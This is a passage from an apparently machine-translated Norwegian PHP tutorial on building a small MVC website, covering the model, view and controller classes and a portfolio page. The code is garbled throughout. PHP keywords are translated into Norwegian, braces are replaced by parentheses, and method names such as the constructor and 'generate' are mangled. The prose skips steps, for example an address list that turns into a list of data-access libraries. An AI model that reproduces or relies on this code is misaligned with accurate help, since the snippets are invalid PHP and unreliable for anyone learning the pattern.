  • vil opprette en forekomst av Controller_Portfolio-klassen og kalle standardhandlingen, action_index, beskrevet i den.
  • Hvis brukeren prøver å få tilgang til adressen til en ikke-eksisterende kontroller, for eksempel:
    example.com/ufo
    så vil han bli omdirigert til "404"-siden:
    example.com/404
    Det samme vil skje hvis brukeren får tilgang til en handling som ikke er beskrevet i kontrolleren.2.2. La oss gå tilbake til MVC-implementeringen. La oss gå til kjernemappen og legge til tre filer til i route.php-filen: model.php, view.php og controller.php


    La meg minne deg på at de vil inneholde basisklasser, som vi nå skal begynne å skrive.

    Innholdet i model.php-filen
    klasse Modell ( offentlig funksjon get_data ( ) ( ) )
    Modellklassen inneholder en enkelt tom datahentingsmetode, som vil bli overstyrt i etterkommerklasser. Når vi oppretter etterkommerklasser vil alt bli klarere.

    Innholdet i view.php-filen
    class View ( //public $template_view; // her kan du spesifisere standard generell visning. function gener ($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // convert array elementer i variabler extract($data); ) */ include "application/views/" .$template_view ; ) )
    Det er ikke vanskelig å gjette at metoden generere ment å danne et syn. Følgende parametere sendes til den:

  • $content_file - visninger som viser sideinnhold;
  • $template_file — mal felles for alle sider;
  • $data er en matrise som inneholder sideinnholdselementer. Vanligvis fylt ut i modellen.
  • Inkluder-funksjonen kobler dynamisk sammen en generell mal (visning) som visningen vil bli innebygd i
    for å vise innholdet på en bestemt side.

    I vårt tilfelle vil den generelle malen inneholde topptekst, meny, sidefelt og bunntekst, og sideinnholdet vil inneholde et eget skjema. Igjen, dette er gjort for enkelhets skyld.

    Innholdet i controller.php-filen
    klassekontroller ( offentlig $modell ; offentlig $visning ; funksjon __konstruksjon () ( $this ->view = new View(); ) ) )
    Metode handlingsindeks- dette er handlingen som kalles som standard; vi vil overstyre den når vi implementerer etterkommerklasser.

    2.3. Implementering av etterkommerklassene Model og Controller, opprettelse av View"s Nå begynner moroa! Visittkortnettstedet vårt vil bestå av følgende sider:
  • hjem
  • Tjenester
  • Portefølje
  • Kontakter
  • Og også - "404"-siden
  • Hver side har sin egen kontroller fra kontroller-mappen og en visning fra visningsmappen. Noen sider kan bruke en modell eller modeller fra mappen modeller.


    I forrige figur er filen template_view.php uthevet separat - dette er en mal som inneholder markeringer som er felles for alle sider. I det enkleste tilfellet kan det se slik ut:
    hjem
    For å gi nettstedet et presentabelt utseende, lager vi en CSS-mal og integrerer den i nettstedet vårt ved å endre strukturen til HTML-markeringen og koble sammen CSS- og JavaScript-filer:

    På slutten av artikkelen, i "Resultat"-delen, er det en lenke til et GitHub-depot med et prosjekt der det er tatt skritt for å integrere en enkel mal.

    2.3.1. Opprette hovedsiden La oss starte med kontrolleren controller_main.php , her er koden:
    klasse Controller_Main utvider Controller ( funksjon action_index () ( $this ->view->generate("main_view.php", "template_view.php"); ) )
    I metode generere en forekomst av View-klassen, sendes navnene på filene til den generelle malen og visningen med sideinnholdet.
    I tillegg til indekshandlingen kan kontrolleren selvfølgelig inneholde andre handlinger.

    Vi gjennomgikk den generelle visningsfilen tidligere. Tenk på innholdsfilen main_view.php:
    Velkommen! OLOLOSHA TEAM er et team av førsteklasses spesialister innen nettstedsutvikling med mange års erfaring i å samle meksikanske masker, bronse- og steinstatuer fra India og Ceylon, basrelieffer og skulpturer laget av mestere i Ekvatorial-Afrika fem eller seks århundrer siden...
    Denne inneholder enkel markering uten PHP-kall.
    For å vise hovedsiden kan du bruke en av følgende adresser:

    • metoder for biblioteker som implementerer dataabstraksjon. For eksempel metoder for PEAR MDB2-biblioteket;
    • ORM metoder;
    • metoder for å jobbe med NoSQL;
    • og så videre.
    • For enkelhets skyld vil vi ikke bruke SQL-spørringer eller ORM-setninger her. I stedet vil vi etterligne ekte data og umiddelbart returnere en rekke resultater.
      Plasser modellfilen model_portfolio.php i modellmappen. Her er innholdet:
      klasse Model_Portfolio utvider Model ( public function get_data () ( return array (array ("Year" => "2012", "Site" => "http://DunkelBeer.ru" , "Description" => "Kampanjenettstedet til mørkt Dunkel-øl fra den tyske produsenten Löwenbraü produsert i Russland av bryggeriselskapet "SUN InBev." ), array ("År" => "2012" , "Site" => "http://ZopoMobile.ru" , "Beskrivelse " => "Russiskspråklig katalog over kinesiske telefoner fra Zopo basert på Android OS og tilbehør til dem."), // todo ) ) )

      Modellkontrollerklassen er inneholdt i controller_portfolio.php-filen, her er koden:
      klasse Controller_Portfolio utvider Controller ( funksjon __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->modell->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Til en variabel data matrisen som returneres av metoden skrives få_data som vi så på tidligere.
      Denne variabelen sendes deretter som en metodeparameter generere, som også inneholder: navnet på filen med den generelle malen og navnet på filen som inneholder visningen med sideinnholdet.

      Visningen som inneholder sideinnholdet er i portfolio_view.php-filen.
      Portefølje

      Alle prosjektene i tabellen nedenfor er fiktive, så ikke engang prøv å følge koblingene som er gitt.

      2024 | Datamaskiner for alle - Oppsett, installasjon, gjenoppretting


      ÅrProsjektBeskrivelse